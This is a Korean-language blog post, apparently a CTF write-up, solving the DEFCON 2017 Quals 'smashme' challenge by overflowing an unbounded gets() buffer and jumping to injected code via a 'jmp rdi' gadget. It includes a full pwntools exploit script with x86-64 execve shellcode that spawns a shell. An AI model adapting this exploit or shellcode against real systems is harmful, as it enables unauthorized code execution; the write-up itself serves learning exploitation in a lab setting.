cdor1's lab
DEFCON 2017 Quals smashme 본문
간단한 rop?
가젯을 하나 이용한다.
프로그램을 실행하면 gets로 길이제한없이 입력을 받는데
이 프로그램은 아무런 보호기법이 적용되어있지 않다.
sub_400320부분에서 내가 입력한 값에 "Smash me outside, how bout dAAAAAAAAAAA"가 들어가는지 판단한다.
그래서 64bit calling convention대로 저 문자열은 esi에 넣고
나의 input은
lea rax, [rbp+var_40]
mov rdi, rax
를 거쳐 rdi레지스터에 저장된다.
문제도 매우 심플하고 간단해서 혹시 jmp rdi 가젯이 있을까 생각해 찾아보았는데
히히
nop + shellcode + 문자열 + jmp rdi 해주면 된다
from pwn import *
s = process('./smashme')
shell = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = "\x90"*6
payload += shell
payload += "Smash me outside, how bout dAAAAAAAAAAA"
payload += p64(0x4c4e1b)
print len(payload)
print s.recvline()
raw_input()
s.sendline(payload)
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
DEFCON 2017 Quals beatmeonthedl (3) | 2017.05.12 |
---|---|
NOE systems double_input.c (0) | 2017.05.11 |
NOE systems pwnable BURYBURY.c (0) | 2017.05.11 |
NOE systems pwnable card.c (0) | 2017.05.11 |
TAMUCTF All Pwnable (0) | 2017.04.20 |
Comments